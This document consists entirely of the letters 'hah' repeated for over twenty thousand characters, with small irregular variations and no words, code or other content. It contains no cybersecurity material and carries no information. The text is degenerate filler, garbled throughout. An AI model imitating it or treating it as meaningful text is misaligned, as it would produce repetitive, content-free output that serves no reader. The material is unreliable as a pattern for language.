hahhahhahhahhahhahhahhahhahhahahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahhahh